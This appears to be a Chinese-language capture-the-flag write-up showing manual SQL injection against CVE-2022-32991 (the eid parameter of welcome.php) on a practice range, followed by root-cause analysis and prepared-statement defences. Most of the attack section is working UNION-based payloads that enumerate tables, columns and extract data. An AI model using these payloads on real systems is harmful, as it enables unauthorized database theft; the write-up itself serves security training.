CVE-2022-32991 靶场实战:SQL手工注入7步获取Flag完整流程解析

📅 2026/7/12 1:35:28
CVE-2022-32991 靶场实战:SQL手工注入7步获取Flag完整流程解析
CVE-2022-32991 靶场实战SQL手工注入7步获取Flag完整流程解析在Web安全领域SQL注入始终是最常见且危害巨大的漏洞类型之一。CVE-2022-32991漏洞正是一个典型的SQL注入案例它存在于某CMS系统的welcome.php文件中。本文将带您深入剖析这个漏洞的完整利用流程从注入点定位到最终获取Flag每个步骤都配有详细的技术分析和实战演示。1. 环境准备与注入点定位春秋云境靶场为我们提供了一个完美的实战环境。首先需要明确的是这个漏洞的注入点位于welcome.php文件的eid参数处。但到达这个注入点并非一蹴而就需要经过以下几个关键步骤初始访问靶场首先呈现的是一个登录页面(login.php)这里并非我们的目标用户注册与登录需要创建一个账户并登录系统此时页面跳转至welcome.php参数探索登录后URL显示q参数继续深入点击start按钮发现注入点最终在quiz步骤中找到eid参数这就是我们的攻击入口重要提示在实际渗透测试中必须获得明确授权后才能进行任何测试操作。靶场环境是专门为安全研究设计的合法练习平台。2. 注入类型判断与闭合构造确认注入点后第一步是判断注入类型并构造正确的闭合方式。以下是详细测试过程# 测试数字型注入 eid60377db362694 and 11 eid60377db362694 and 12 # 测试字符型注入 eid60377db362694当输入单引号时系统返回了明确的错误信息Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/welcome.php on line 98这表明存在SQL注入漏洞且注入类型为单引号字符型注入。我们需要构造正确的闭合语句60377db362694--这条语句中--是SQL注释符号用于注释掉原SQL语句中后续的部分从而避免语法错误。3. 字段数量探测与显位定位确定注入类型后下一步是探测查询返回的字段数量这为后续的UNION注入奠定基础。3.1 字段数量探测使用ORDER BY子句逐步增加字段编号直到出现错误eid60377db362694 order by 6-- # 报错 eid60377db362694 order by 5-- # 正常测试结果表明原始查询返回5个字段。3.2 显位定位通过UNION SELECT确定哪些字段会在页面中显示eid60377db362694 union select 1,2,3,4,5--观察页面输出发现第3和第4个字段的内容会显示在页面上这就是我们的显位。4. 数据库信息提取有了显位信息后我们可以开始提取数据库的关键信息。4.1 获取当前数据库名eid60377db362694 union select 1,2,database(),4,5--执行后页面显示当前数据库名为ctf。4.2 获取数据库表名利用information_schema数据库查询所有表名eid60377db362694 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schemadatabase()--返回结果包含多个表名user,options,quiz,admin,questions,history,rank,flag,answer其中flag表极可能包含我们需要的信息。5. 表结构分析与数据提取5.1 获取flag表的列名eid60377db362694 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schemadatabase() and table_nameflag--结果显示flag表只有一个名为flag的列。5.2 提取flag数据最后一步直接从flag表查询数据eid60377db362694 union select 1,2,group_concat(flag),4,5 from flag --成功获取到靶场的flag值完成整个注入流程。6. 技术原理深度解析为什么这个漏洞会产生深入分析其技术原理原始SQL语句推测$sql SELECT * FROM quiz_data WHERE eid.$_GET[eid].; $result mysqli_query($conn, $sql); $row mysqli_fetch_array($result);漏洞成因直接拼接用户输入的eid参数到SQL语句未进行任何过滤或参数化处理错误信息直接暴露给用户防御缺失缺少输入验证未使用预处理语句错误处理不当7. 防御方案与最佳实践针对此类SQL注入漏洞推荐以下防御措施防御措施实现方式效果评估预处理语句使用PDO或mysqli的prepare★★★★★输入验证白名单验证eid参数格式★★★★☆最小权限数据库账户仅授予必要权限★★★★☆错误处理自定义错误页面不暴露细节★★★☆☆WAF防护部署Web应用防火墙★★★☆☆具体代码实现示例// 安全版本 - 使用预处理语句 $stmt $conn-prepare(SELECT * FROM quiz_data WHERE eid?); $stmt-bind_param(s, $_GET[eid]); $stmt-execute(); $result $stmt-get_result();在实际开发中应该组合使用多种防御措施形成纵深防御体系。